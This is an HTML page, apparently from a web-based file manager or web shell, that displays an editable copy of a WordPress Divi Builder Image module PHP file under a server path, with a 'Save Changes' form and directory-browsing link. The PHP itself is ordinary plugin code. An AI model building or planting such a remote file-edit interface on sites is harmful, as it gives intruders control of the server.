<h2>File Contents: /home/planet5/www/wp-content/plugins/divi-builder/includes/builder/module/copy_of_copy_of_Image.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/wp-content/plugins/divi-builder/includes/builder/module/copy_of_copy_of_Image.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php

class ET_Builder_Module_Image extends ET_Builder_Module {
	function init() {
		$this-&gt;name       = et_builder_i18n( &#039;Image&#039; );
		$this-&gt;plural     = esc_html__( &#039;Images&#039;, &#039;et_builder&#039; );
		$this-&gt;slug       = &#039;et_pb_image&#039;;
		$this-&gt;vb_support = &#039;on&#039;;

		$this-&gt;settings_modal_toggles = array(
			&#039;general&#039;    =&gt; array(
				&#039;toggles&#039; =&gt; array(
					&#039;main_content&#039; =&gt; et_builder_i18n( &#039;Image&#039; ),
					&#039;link&#039;         =&gt; et_builder_i18n( &#039;Link&#039; ),
				),
			),
			&#039;advanced&#039;   =&gt; array(
				&#039;toggles&#039; =&gt; array(
					&#039;overlay&#039;   =&gt; et_builder_i18n( &#039;Overlay&#039; ),
					&#039;alignment&#039; =&gt; esc_html__( &#039;Alignment&#039;, &#039;et_builder&#039; ),
					&#039;width&#039;     =&gt; array(
						&#039;title&#039;    =&gt; et_builder_i18n( &#039;Sizing&#039; ),
						&#039;priority&#039; =&gt; 65,
					),
				),
			),
			&#039;custom_css&#039; =&gt; array(
				&#039;toggles&#039; =&gt; array(
					&#039;animation&#039;  =&gt; array(
						&#039;title&#039;    =&gt; esc_html__( &#039;Animation&#039;, &#039;et_builder&#039; ),
						&#039;priority&#039; =&gt; 90,
					),
					&#039;attributes&#039; =&gt; array(
						&#039;title&#039;    =&gt; esc_html__( &#039;Attributes&#039;, &#039;et_builder&#039; ),
						&#039;priority&#039; =&gt; 95,
					),
				),
			),
		);

		$this-&gt;advanced_fields = array(
			&#039;margin_padding&#039; =&gt; array(
				&#039;css&#039; =&gt; array(
					&#039;important&#039; =&gt; array( &#039;custom_margin&#039; ),
				),
			),
			&#039;borders&#039;        =&gt; array(
				&#039;default&#039; =&gt; array(
					&#039;css&#039; =&gt; array(
						&#039;main&#039; =&gt; array(
							&#039;border_radii&#039;  =&gt; &#039;%%order_class%% .et_pb_image_wrap&#039;,
							&#039;border_styles&#039; =&gt; &#039;%%order_class%% .et_pb_image_wrap&#039;,
						),
					),
				),
			),
			&#039;box_shadow&#039;     =&gt; array(
				&#039;default&#039; =&gt; array(
					&#039;css&#039; =&gt; array(
						&#039;main&#039;    =&gt; &#039;%%order_class%% .et_pb_image_wrap&#039;,
						&#039;overlay&#039; =&gt; &#039;inset&#039;,
					),
				),
			),
			&#039;max_width&#039;      =&gt; array(
				&#039;options&#039; =&gt; array(
					&#039;width&#039;     =&gt; array(
						&#039;depends_show_if&#039; =&gt; &#039;off&#039;,
					),
					&#039;max_width&#039; =&gt; array(
						&#039;depends_show_if&#039; =&gt; &#039;off&#039;,
					),
				),
			),
			&#039;height&#039;         =&gt; array(
				&#039;css&#039; =&gt; array(
					&#039;main&#039; =&gt; &#039;%%order_class%% .et_pb_image_wrap img&#039;,
				),
			),
			&#039;fonts&#039;          =&gt; false,
			&#039;text&#039;           =&gt; false,
			&#039;button&#039;         =&gt; false,
			&#039;link_options&#039;   =&gt; false,
		);

		$this-&gt;help_videos = array(
			array(
				&#039;id&#039;   =&gt; &#039;cYwqxoHnjNA&#039;,
				&#039;name&#039; =&gt; esc_html__( &#039;An introduction to the Image module&#039;, &#039;et_builder&#039; ),
			),
		);
	}

	function get_fields() {
		$fields = array(
			&#039;src&#039;                 =&gt; array(
				&#039;label&#039;              =&gt; et_builder_i18n( &#039;Image&#039; ),
				&#039;type&#039;               =&gt; &#039;upload&#039;,
				&#039;option_category&#039;    =&gt; &#039;basic_option&#039;,
				&#039;upload_button_text&#039; =&gt; et_builder_i18n( &#039;Upload an image&#039; ),
				&#039;choose_text&#039;        =&gt; esc_attr__( &#039;Choose an Image&#039;, &#039;et_builder&#039; ),
				&#039;update_text&#039;        =&gt; esc_attr__( &#039;Set As Image&#039;, &#039;et_builder&#039; ),
				&#039;hide_metadata&#039;      =&gt; true,
				&#039;affects&#039;            =&gt; array(
					&#039;alt&#039;,
					&#039;title_text&#039;,
				),
				&#039;description&#039;        =&gt; esc_html__( &#039;Upload your desired image, or type in the URL to the image you would like to display.&#039;, &#039;et_builder&#039; ),
				&#039;toggle_slug&#039;        =&gt; &#039;main_content&#039;,
				&#039;dynamic_content&#039;    =&gt; &#039;image&#039;,
				&#039;mobile_options&#039;     =&gt; true,
				&#039;hover&#039;              =&gt; &#039;tabs&#039;,
			),
			&#039;alt&#039;                 =&gt; array(
				&#039;label&#039;           =&gt; esc_html__( &#039;Image Alternative Text&#039;, &#039;et_builder&#039; ),
				&#039;type&#039;            =&gt; &#039;text&#039;,
				&#039;option_category&#039; =&gt; &#039;basic_option&#039;,
				&#039;depends_show_if&#039; =&gt; &#039;on&#039;,
				&#039;depends_on&#039;      =&gt; array(
					&#039;src&#039;,
				),
				&#039;description&#039;     =&gt; esc_html__( &#039;This defines the HTML ALT text. A short description of your image can be placed here.&#039;, &#039;et_builder&#039; ),
				&#039;tab_slug&#039;        =&gt; &#039;custom_css&#039;,
				&#039;toggle_slug&#039;     =&gt; &#039;attributes&#039;,
				&#039;dynamic_content&#039; =&gt; &#039;text&#039;,
			),
			&#039;title_text&#039;          =&gt; array(
				&#039;label&#039;           =&gt; esc_html__( &#039;Image Title Text&#039;, &#039;et_builder&#039; ),
				&#039;type&#039;            =&gt; &#039;text&#039;,
				&#039;option_category&#039; =&gt; &#039;basic_option&#039;,
				&#039;depends_show_if&#039; =&gt; &#039;on&#039;,
				&#039;depends_on&#039;      =&gt; array(
					&#039;src&#039;,
				),
				&#039;description&#039;     =&gt; esc_html__( &#039;This defines the HTML Title text.&#039;, &#039;et_builder&#039; ),
				&#039;tab_slug&#039;        =&gt; &#039;custom_css&#039;,
				&#039;toggle_slug&#039;     =&gt; &#039;attributes&#039;,
				&#039;dynamic_content&#039; =&gt; &#039;text&#039;,
			),
			&#039;show_in_lightbox&#039;    =&gt; array(
				&#039;label&#039;            =&gt; esc_html__( &#039;Open in Lightbox&#039;, &#039;et_builder&#039; ),
				&#039;type&#039;             =&gt; &#039;yes_no_button&#039;,
				&#039;option_category&#039;  =&gt; &#039;configuration&#039;,
				&#039;options&#039;          =&gt; array(
					&#039;off&#039; =&gt; et_builder_i18n( &#039;No&#039; ),
					&#039;on&#039;  =&gt; et_builder_i18n( &#039;Yes&#039; ),
				),
				&#039;default_on_front&#039; =&gt; &#039;off&#039;,
				&#039;affects&#039;          =&gt; array(
					&#039;url&#039;,
					&#039;url_new_window&#039;,
				),
				&#039;toggle_slug&#039;      =&gt; &#039;link&#039;,
				&#039;description&#039;      =&gt; esc_html__( &#039;Here you can choose whether or not the image should open in Lightbox. Note: if you select to open the image in Lightbox, url options below will be ignored.&#039;, &#039;et_builder&#039; ),
			),
			&#039;url&#039;                 =&gt; array(
				&#039;label&#039;           =&gt; esc_html__( &#039;Image Link URL&#039;, &#039;et_builder&#039; ),
				&#039;type&#039;            =&gt; &#039;text&#039;,
				&#039;option_category&#039; =&gt; &#039;basic_option&#039;,
				&#039;depends_show_if&#039; =&gt; &#039;off&#039;,
				&#039;description&#039;     =&gt; esc_html__( &#039;If you would like your image to be a link, input your destination URL here. No link will be created if this field is left blank.&#039;, &#039;et_builder&#039; ),
				&#039;toggle_slug&#039;     =&gt; &#039;link&#039;,
				&#039;dynamic_content&#039; =&gt; &#039;url&#039;,
			),
			&#039;url_new_window&#039;      =&gt; array(
				&#039;label&#039;            =&gt; esc_html__( &#039;Image Link Target&#039;, &#039;et_builder&#039; ),
				&#039;type&#039;             =&gt; &#039;select&#039;,
				&#039;option_category&#039;  =&gt; &#039;configuration&#039;,
				&#039;options&#039;          =&gt; array(
					&#039;off&#039; =&gt; esc_html__( &#039;In The Same Window&#039;, &#039;et_builder&#039; ),
					&#039;on&#039;  =&gt; esc_html__( &#039;In The New Tab&#039;, &#039;et_builder&#039; ),
				),
				&#039;default_on_front&#039; =&gt; &#039;off&#039;,
				&#039;depends_show_if&#039;  =&gt; &#039;off&#039;,
				&#039;toggle_slug&#039;      =&gt; &#039;link&#039;,
				&#039;description&#039;      =&gt; esc_html__( &#039;Here you can choose whether or not your link opens in a new window&#039;, &#039;et_builder&#039; ),
			),
			&#039;use_overlay&#039;         =&gt; array(
				&#039;label&#039;            =&gt; esc_html__( &#039;Image Overlay&#039;, &#039;et_builder&#039; ),
				&#039;type&#039;             =&gt; &#039;yes_no_button&#039;,
				&#039;option_category&#039;  =&gt; &#039;layout&#039;,
				&#039;options&#039;          =&gt; array(
					&#039;off&#039; =&gt; et_builder_i18n( &#039;Off&#039; ),
					&#039;on&#039;  =&gt; et_builder_i18n( &#039;On&#039; ),
				),
				&#039;default_on_front&#039; =&gt; &#039;off&#039;,
				&#039;affects&#039;          =&gt; array(
					&#039;overlay_icon_color&#039;,
					&#039;hover_overlay_color&#039;,
					&#039;hover_icon&#039;,
				),
				&#039;show_if&#039;          =&gt; array(
					&#039;function.showImageUseOverlayField&#039; =&gt; &#039;on&#039;,
				),
				&#039;tab_slug&#039;         =&gt; &#039;advanced&#039;,
				&#039;toggle_slug&#039;      =&gt; &#039;overlay&#039;,
				&#039;description&#039;      =&gt; esc_html__( &#039;If enabled, an overlay color and icon will be displayed when a visitors hovers over the image&#039;, &#039;et_builder&#039; ),
			),
			&#039;overlay_icon_color&#039;  =&gt; array(
				&#039;label&#039;           =&gt; esc_html__( &#039;Overlay Icon Color&#039;, &#039;et_builder&#039; ),
				&#039;type&#039;            =&gt; &#039;color-alpha&#039;,
				&#039;custom_color&#039;    =&gt; true,
				&#039;depends_show_if&#039; =&gt; &#039;on&#039;,
				&#039;tab_slug&#039;        =&gt; &#039;advanced&#039;,
				&#039;toggle_slug&#039;     =&gt; &#039;overlay&#039;,
				&#039;description&#039;     =&gt; esc_html__( &#039;Here you can define a custom color for the overlay icon&#039;, &#039;et_builder&#039; ),
				&#039;mobile_options&#039;  =&gt; true,
				&#039;sticky&#039;          =&gt; true,
			),
			&#039;hover_overlay_color&#039; =&gt; array(
				&#039;label&#039;           =&gt; esc_html__( &#039;Hover Overlay Color&#039;, &#039;et_builder&#039; ),
				&#039;type&#039;            =&gt; &#039;color-alpha&#039;,
				&#039;custom_color&#039;    =&gt; true,
				&#039;depends_show_if&#039; =&gt; &#039;on&#039;,
				&#039;tab_slug&#039;        =&gt; &#039;advanced&#039;,
				&#039;toggle_slug&#039;     =&gt; &#039;overlay&#039;,
				&#039;description&#039;     =&gt; esc_html__( &#039;Here you can define a custom color for the overlay&#039;, &#039;et_builder&#039; ),
				&#039;mobile_options&#039;  =&gt; true,
				&#039;sticky&#039;          =&gt; true,
			),
			&#039;hover_icon&#039;          =&gt; array(
				&#039;label&#039;           =&gt; esc_html__( &#039;Hover Icon Picker&#039;, &#039;et_builder&#039; ),
				&#039;type&#039;            =&gt; &#039;select_icon&#039;,
				&#039;option_category&#039; =&gt; &#039;configuration&#039;,
				&#039;class&#039;           =&gt; array( &#039;et-pb-font-icon&#039; ),
				&#039;depends_show_if&#039; =&gt; &#039;on&#039;,
				&#039;tab_slug&#039;        =&gt; &#039;advanced&#039;,
				&#039;toggle_slug&#039;     =&gt; &#039;overlay&#039;,
				&#039;description&#039;     =&gt; esc_html__( &#039;Here you can define a custom icon for the overlay&#039;, &#039;et_builder&#039; ),
				&#039;mobile_options&#039;  =&gt; true,
				&#039;sticky&#039;          =&gt; true,
			),
			&#039;show_bottom_space&#039;   =&gt; array(
				&#039;label&#039;            =&gt; esc_html__( &#039;Show Space Below The Image&#039;, &#039;et_builder&#039; ),
				&#039;type&#039;             =&gt; &#039;yes_no_button&#039;,
				&#039;option_category&#039;  =&gt; &#039;layout&#039;,
				&#039;options&#039;          =&gt; array(
					&#039;on&#039;  =&gt; et_builder_i18n( &#039;Yes&#039; ),
					&#039;off&#039; =&gt; et_builder_i18n( &#039;No&#039; ),
				),
				&#039;default_on_front&#039; =&gt; &#039;on&#039;,
				&#039;tab_slug&#039;         =&gt; &#039;advanced&#039;,
				&#039;toggle_slug&#039;      =&gt; &#039;margin_padding&#039;,
				&#039;description&#039;      =&gt; esc_html__( &#039;Here you can choose whether or not the image should have a space below it.&#039;, &#039;et_builder&#039; ),
				&#039;mobile_options&#039;   =&gt; true,
			),
			&#039;align&#039;               =&gt; array(
				&#039;label&#039;            =&gt; esc_html__( &#039;Image Alignment&#039;, &#039;et_builder&#039; ),
				&#039;type&#039;             =&gt; &#039;text_align&#039;,
				&#039;option_category&#039;  =&gt; &#039;layout&#039;,
				&#039;options&#039;          =&gt; et_builder_get_text_orientation_options( array( &#039;justified&#039; ) ),
				&#039;default_on_front&#039; =&gt; &#039;left&#039;,
				&#039;tab_slug&#039;         =&gt; &#039;advanced&#039;,
				&#039;toggle_slug&#039;      =&gt; &#039;alignment&#039;,
				&#039;description&#039;      =&gt; esc_html__( &#039;Here you can choose the image alignment.&#039;, &#039;et_builder&#039; ),
				&#039;options_icon&#039;     =&gt; &#039;module_align&#039;,
				&#039;mobile_options&#039;   =&gt; true,
			),
			&#039;force_fullwidth&#039;     =&gt; array(
				&#039;label&#039;            =&gt; esc_html__( &#039;Force Fullwidth&#039;, &#039;et_builder&#039; ),
				&#039;description&#039;      =&gt; esc_html__( &quot;When enabled, this will force your image to extend 100% of the width of the column it&#039;s in.&quot;, &#039;et_builder&#039; ),
				&#039;type&#039;             =&gt; &#039;yes_no_button&#039;,
				&#039;option_category&#039;  =&gt; &#039;layout&#039;,
				&#039;options&#039;          =&gt; array(
					&#039;off&#039; =&gt; et_builder_i18n( &#039;No&#039; ),
					&#039;on&#039;  =&gt; et_builder_i18n( &#039;Yes&#039; ),
				),
				&#039;default_on_front&#039; =&gt; &#039;off&#039;,
				&#039;tab_slug&#039;         =&gt; &#039;advanced&#039;,
				&#039;toggle_slug&#039;      =&gt; &#039;width&#039;,
				&#039;affects&#039;          =&gt; array(
					&#039;max_width&#039;,
					&#039;width&#039;,
				),
			),
		);

		return $fields;
	}

	public function get_alignment( $device = &#039;desktop&#039; ) {
		$is_desktop = &#039;desktop&#039; === $device;
		$suffix     = ! $is_desktop ? &quot;_{$device}&quot; : &#039;&#039;;
		$alignment  = $is_desktop &amp;&amp; isset( $this-&gt;props[&#039;align&#039;] ) ? $this-&gt;props[&#039;align&#039;] : &#039;&#039;;

		if ( ! $is_desktop &amp;&amp; et_pb_responsive_options()-&gt;is_responsive_enabled( $this-&gt;props, &#039;align&#039; ) ) {
			$alignment = et_pb_responsive_options()-&gt;get_any_value( $this-&gt;props, &quot;align{$suffix}&quot; );
		}

		return et_pb_get_alignment( $alignment );
	}

	/**
	 * Renders the module output.
	 *
	 * @param  array  $attrs       List of attributes.
	 * @param  string $content     Content being processed.
	 * @param  string $render_slug Slug of module that is used for rendering output.
	 *
	 * @return string
	 */
	public function render( $attrs, $content, $render_slug ) {
		$sticky            = et_pb_sticky_options();
		$multi_view        = et_pb_multi_view_options( $this );
		$src               = $this-&gt;props[&#039;src&#039;];
		$alt               = $this-&gt;props[&#039;alt&#039;];
		$title_text        = $this-&gt;props[&#039;title_text&#039;];
		$url               = $this-&gt;props[&#039;url&#039;];
		$url_new_window    = $this-&gt;props[&#039;url_new_window&#039;];
		$show_in_lightbox  = $this-&gt;props[&#039;show_in_lightbox&#039;];
		$align             = $this-&gt;get_alignment();
		$align_tablet      = $this-&gt;get_alignment( &#039;tablet&#039; );
		$align_phone       = $this-&gt;get_alignment( &#039;phone&#039; );
		$force_fullwidth   = $this-&gt;props[&#039;force_fullwidth&#039;];
		$hover_icon        = $this-&gt;props[&#039;hover_icon&#039;];
		$hover_icon_tablet = $this-&gt;props[&#039;hover_icon_tablet&#039;];
		$hover_icon_phone  = $this-&gt;props[&#039;hover_icon_phone&#039;];
		$hover_icon_sticky = $sticky-&gt;get_value( &#039;hover_icon&#039;, $this-&gt;props );
		$use_overlay       = $this-&gt;props[&#039;use_overlay&#039;];
		$animation_style   = $this-&gt;props[&#039;animation_style&#039;];
		$box_shadow_style  = self::$_-&gt;array_get( $this-&gt;props, &#039;box_shadow_style&#039;, &#039;&#039; );
		$width             = $this-&gt;props[&#039;width&#039;];
		$height            = $this-&gt;props[&#039;height&#039;];
		$max_height        = $this-&gt;props[&#039;max_height&#039;];

		$video_background          = $this-&gt;video_background();
		$parallax_image_background = $this-&gt;get_parallax_image_background();

		$show_bottom_space        = $this-&gt;props[&#039;show_bottom_space&#039;];
		$show_bottom_space_values = et_pb_responsive_options()-&gt;get_property_values( $this-&gt;props, &#039;show_bottom_space&#039; );
		$show_bottom_space_tablet = isset( $show_bottom_space_values[&#039;tablet&#039;] ) ? $show_bottom_space_values[&#039;tablet&#039;] : &#039;&#039;;
		$show_bottom_space_phone  = isset( $show_bottom_space_values[&#039;phone&#039;] ) ? $show_bottom_space_values[&#039;phone&#039;] : &#039;&#039;;

		// Handle svg image behaviour
		$src_pathinfo = pathinfo( $src );
		$is_src_svg   = isset( $src_pathinfo[&#039;extension&#039;] ) ? &#039;svg&#039; === $src_pathinfo[&#039;extension&#039;] : false;

		// overlay can be applied only if image has link or if lightbox enabled
		$is_overlay_applied = &#039;on&#039; === $use_overlay &amp;&amp; ( &#039;on&#039; === $show_in_lightbox || ( &#039;off&#039; === $show_in_lightbox &amp;&amp; &#039;&#039; !== $url ) ) ? &#039;on&#039; : &#039;off&#039;;

		if ( &#039;on&#039; === $force_fullwidth ) {
			$el_style = array(
				&#039;selector&#039;    =&gt; &#039;%%order_class%%&#039;,
				&#039;declaration&#039; =&gt; &#039;width: 100%; max-width: 100% !important;&#039;,
			);
			ET_Builder_Element::set_style( $render_slug, $el_style );

			$el_style = array(
				&#039;selector&#039;    =&gt; &#039;%%order_class%% .et_pb_image_wrap, %%order_class%% img&#039;,
				&#039;declaration&#039; =&gt; &#039;width: 100%;&#039;,
			);
			ET_Builder_Element::set_style( $render_slug, $el_style );
		}

		// Responsive Image Alignment.
		// Set CSS properties and values for the image alignment.
		// 1. Text Align is necessary, just set it from current image alignment value.
		// 2. Margin {Side} is optional. Used to pull the image to right/left side.
		// 3. Margin Left and Right are optional. Used by Center to reset custom margin of point 2.
		$align_values = array(
			&#039;desktop&#039; =&gt; array(
				&#039;text-align&#039;      =&gt; esc_html( $align ),
				&quot;margin-{$align}&quot; =&gt; ! empty( $align ) &amp;&amp; &#039;center&#039; !== $align ? &#039;0&#039; : &#039;&#039;,
			),
		);

		if ( ! empty( $align_tablet ) ) {
			$align_values[&#039;tablet&#039;] = array(
				&#039;text-align&#039;             =&gt; esc_html( $align_tablet ),
				&#039;margin-left&#039;            =&gt; &#039;left&#039; !== $align_tablet ? &#039;auto&#039; : &#039;&#039;,
				&#039;margin-right&#039;           =&gt; &#039;left&#039; !== $align_tablet ? &#039;auto&#039; : &#039;&#039;,
				&quot;margin-{$align_tablet}&quot; =&gt; ! empty( $align_tablet ) &amp;&amp; &#039;center&#039; !== $align_tablet ? &#039;0&#039; : &#039;&#039;,
			);
		}

		if ( ! empty( $align_phone ) ) {
			$align_values[&#039;phone&#039;] = array(
				&#039;text-align&#039;            =&gt; esc_html( $align_phone ),
				&#039;margin-left&#039;           =&gt; &#039;left&#039; !== $align_phone ? &#039;auto&#039; : &#039;&#039;,
				&#039;margin-right&#039;          =&gt; &#039;left&#039; !== $align_phone ? &#039;auto&#039; : &#039;&#039;,
				&quot;margin-{$align_phone}&quot; =&gt; ! empty( $align_phone ) &amp;&amp; &#039;center&#039; !== $align_phone ? &#039;0&#039; : &#039;&#039;,
			);
		}

		et_pb_responsive_options()-&gt;generate_responsive_css( $align_values, &#039;%%order_class%%&#039;, &#039;&#039;, $render_slug, &#039;&#039;, &#039;alignment&#039; );

		// Load up Dynamic Content (if needed) to capture Featured Image objects.
		// In this way we can process `alt` and `title` attributes defined in
		// the WP Media Library when they haven&#039;t been specified by the user in
		// Module Settings.
		if ( empty( $alt ) || empty( $title_text ) ) {
			$raw_src   = et_()-&gt;array_get( $this-&gt;attrs_unprocessed, &#039;src&#039; );
			$src_value = et_builder_parse_dynamic_content( $raw_src );

			if ( $src_value-&gt;is_dynamic() &amp;&amp; $src_value-&gt;get_content() === &#039;post_featured_image&#039; ) {
				// If there is no user-specified ALT attribute text, check the WP
				// Media Library entry for text that may have been added there.
				if ( empty( $alt ) ) {
					$alt = et_builder_resolve_dynamic_content( &#039;post_featured_image_alt_text&#039;, array(), get_the_ID(), &#039;display&#039; );
				}

				// If there is no user-specified TITLE attribute text, check the WP
				// Media Library entry for text that may have been added there.
				if ( empty( $title_text ) ) {
					$title_text = et_builder_resolve_dynamic_content( &#039;post_featured_image_title_text&#039;, array(), get_the_ID(), &#039;display&#039; );
				}
			}
		}

		if ( &#039;on&#039; === $is_overlay_applied ) {
			$this-&gt;generate_styles(
				array(
					&#039;hover&#039;          =&gt; false,
					&#039;base_attr_name&#039; =&gt; &#039;overlay_icon_color&#039;,
					&#039;selector&#039;       =&gt; &#039;%%order_class%% .et_overlay:before&#039;,
					&#039;css_property&#039;   =&gt; &#039;color&#039;,
					&#039;render_slug&#039;    =&gt; $render_slug,
					&#039;important&#039;      =&gt; true,
					&#039;type&#039;           =&gt; &#039;color&#039;,
				)
			);

			$this-&gt;generate_styles(
				array(
					&#039;hover&#039;          =&gt; false,
					&#039;base_attr_name&#039; =&gt; &#039;hover_overlay_color&#039;,
					&#039;selector&#039;       =&gt; &#039;%%order_class%% .et_overlay&#039;,
					&#039;css_property&#039;   =&gt; &#039;background-color&#039;,
					&#039;render_slug&#039;    =&gt; $render_slug,
					&#039;type&#039;           =&gt; &#039;color&#039;,
				)
			);

			$overlay_output = ET_Builder_Module_Helper_Overlay::render(
				array(
					&#039;icon&#039;        =&gt; $hover_icon,
					&#039;icon_tablet&#039; =&gt; $hover_icon_tablet,
					&#039;icon_phone&#039;  =&gt; $hover_icon_phone,
					&#039;icon_sticky&#039; =&gt; $hover_icon_sticky,
				)
			);

			// Overlay Icon Styles.
			$this-&gt;generate_styles(
				array(
					&#039;hover&#039;          =&gt; false,
					&#039;utility_arg&#039;    =&gt; &#039;icon_font_family&#039;,
					&#039;render_slug&#039;    =&gt; $render_slug,
					&#039;base_attr_name&#039; =&gt; &#039;hover_icon&#039;,
					&#039;important&#039;      =&gt; true,
					&#039;selector&#039;       =&gt; &#039;%%order_class%% .et_overlay:before&#039;,
					&#039;processor&#039;      =&gt; array(
						&#039;ET_Builder_Module_Helper_Style_Processor&#039;,
						&#039;process_extended_icon&#039;,
					),
				)
			);
		}

		// Set display block for svg image to avoid disappearing svg image
		if ( $is_src_svg ) {
			$el_style = array(
				&#039;selector&#039;    =&gt; &#039;%%order_class%% .et_pb_image_wrap&#039;,
				&#039;declaration&#039; =&gt; &#039;display: block;&#039;,
			);
			ET_Builder_Element::set_style( $render_slug, $el_style );
		}

		$box_shadow_overlay_wrap_class = &#039;none&#039; !== $box_shadow_style
			? &#039;has-box-shadow-overlay&#039;
			: &#039;&#039;;

		$box_shadow_overlay_element = &#039;none&#039; !== $box_shadow_style
			? &#039;&lt;div class=&quot;box-shadow-overlay&quot;&gt;&lt;/div&gt;&#039;
			: &#039;&#039;;

		$image_attrs = array(
			&#039;src&#039;   =&gt; &#039;{{src}}&#039;,
			&#039;alt&#039;   =&gt; esc_attr( $alt ),
			&#039;title&#039; =&gt; esc_attr( $title_text ),
		);

		// Only if force fullwidth is not set.
		if ( &#039;on&#039; !== $force_fullwidth ) {
			$responsive_width     = et_pb_responsive_options()-&gt;get_property_values( $this-&gt;props, &#039;width&#039; );
			$responsive_height    = et_pb_responsive_options()-&gt;get_property_values( $this-&gt;props, &#039;height&#039; );
			$responsive_max_width = et_pb_responsive_options()-&gt;get_property_values( $this-&gt;props, &#039;max_height&#039; );
			$image_style_width    = [];
			$modes                = [ &#039;desktop&#039;, &#039;tablet&#039;, &#039;phone&#039; ];

			foreach ( $modes as $mode ) {
				// Only height or max-height is set, no width set.
				if ( &#039;auto&#039; === $responsive_width[ $mode ] &amp;&amp; &#039;auto&#039; !== $responsive_height[ $mode ] || &#039;none&#039; !== $responsive_max_width[ $mode ] ) {
					$image_style_width[ $mode ] = [
						&#039;width&#039; =&gt; &#039;auto&#039;,
					];
				}
			}

			et_pb_responsive_options()-&gt;generate_responsive_css( $image_style_width, &#039;%%order_class%% .et_pb_image_wrap img&#039;, &#039;&#039;, $render_slug, &#039;&#039;, &#039;&#039; );

		}

		$image_attachment_class = et_pb_media_options()-&gt;get_image_attachment_class( $this-&gt;props, &#039;src&#039; );

		if ( ! empty( $image_attachment_class ) ) {
			$image_attrs[&#039;class&#039;] = esc_attr( $image_attachment_class );
		}

		$image_html = $multi_view-&gt;render_element(
			array(
				&#039;tag&#039;      =&gt; &#039;img&#039;,
				&#039;attrs&#039;    =&gt; $image_attrs,
				&#039;required&#039; =&gt; &#039;src&#039;,
			)
		);

		$output = sprintf(
			&#039;&lt;span class=&quot;et_pb_image_wrap %3$s&quot;&gt;%4$s%1$s%2$s&lt;/span&gt;&#039;,
			$image_html,
			&#039;on&#039; === $is_overlay_applied ? $overlay_output : &#039;&#039;,
			$box_shadow_overlay_wrap_class,
			$box_shadow_overlay_element
		);

		if ( &#039;on&#039; === $show_in_lightbox ) {
			$output = sprintf(
				&#039;&lt;a href=&quot;%1$s&quot; class=&quot;et_pb_lightbox_image&quot; title=&quot;%3$s&quot;&gt;%2$s&lt;/a&gt;&#039;,
				esc_attr( $src ),
				$output,
				esc_attr( $alt )
			);
		} elseif ( &#039;&#039; !== $url ) {
			$output = sprintf(
				&#039;&lt;a href=&quot;%1$s&quot;%3$s&gt;%2$s&lt;/a&gt;&#039;,
				esc_url( $url ),
				$output,
				( &#039;on&#039; === $url_new_window ? &#039; target=&quot;_blank&quot;&#039; : &#039;&#039; )
			);
		}

		// Module classnames
		if ( ! in_array( $animation_style, array( &#039;&#039;, &#039;none&#039; ) ) ) {
			$this-&gt;add_classname( &#039;et-waypoint&#039; );
		}

		if ( &#039;on&#039; !== $show_bottom_space ) {
			$this-&gt;add_classname( &#039;et_pb_image_sticky&#039; );
		}

		if ( ! empty( $show_bottom_space_tablet ) ) {
			if ( &#039;on&#039; === $show_bottom_space_tablet ) {
				$this-&gt;add_classname( &#039;et_pb_image_bottom_space_tablet&#039; );
			} elseif ( &#039;off&#039; === $show_bottom_space_tablet ) {
				$this-&gt;add_classname( &#039;et_pb_image_sticky_tablet&#039; );
			}
		}

		if ( ! empty( $show_bottom_space_phone ) ) {
			if ( &#039;on&#039; === $show_bottom_space_phone ) {
				$this-&gt;add_classname( &#039;et_pb_image_bottom_space_phone&#039; );
			} elseif ( &#039;off&#039; === $show_bottom_space_phone ) {
				$this-&gt;add_classname( &#039;et_pb_image_sticky_phone&#039; );
			}
		}

		if ( &#039;on&#039; === $is_overlay_applied ) {
			$this-&gt;add_classname( &#039;et_pb_has_overlay&#039; );
		}

		$output = sprintf(
			&#039;&lt;div%3$s class=&quot;%2$s&quot;&gt;
				%5$s
				%4$s
				%6$s
				%7$s
				%1$s
			&lt;/div&gt;&#039;,
			$output,
			$this-&gt;module_classname( $render_slug ),
			$this-&gt;module_id(),
			$video_background,
			$parallax_image_background,
			et_core_esc_previously( $this-&gt;background_pattern() ), // #6
			et_core_esc_previously( $this-&gt;background_mask() ) // #7
		);

		return $output;
	}
}

// This adds the upload label for Image module
// TODO: Remove when BB is removed.
function _et_bb_module_image_add_src_label( $filed ) {
	if ( ! isset( $filed[&#039;label&#039;] ) ) {
		$filed[&#039;label&#039;] = esc_html__( &#039;Image URL&#039;, &#039;et_builder&#039; );
	}

	return $filed;
}

add_filter( &#039;et_builder_module_fields_et_pb_image_field_src&#039;, &#039;_et_bb_module_image_add_src_label&#039; );

if ( et_builder_should_load_all_module_data() ) {
	new ET_Builder_Module_Image();
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fwww%2Fwp-content%2Fplugins%2Fdivi-builder%2Fincludes%2Fbuilder%2Fmodule'>⬅ Back to Directory</a>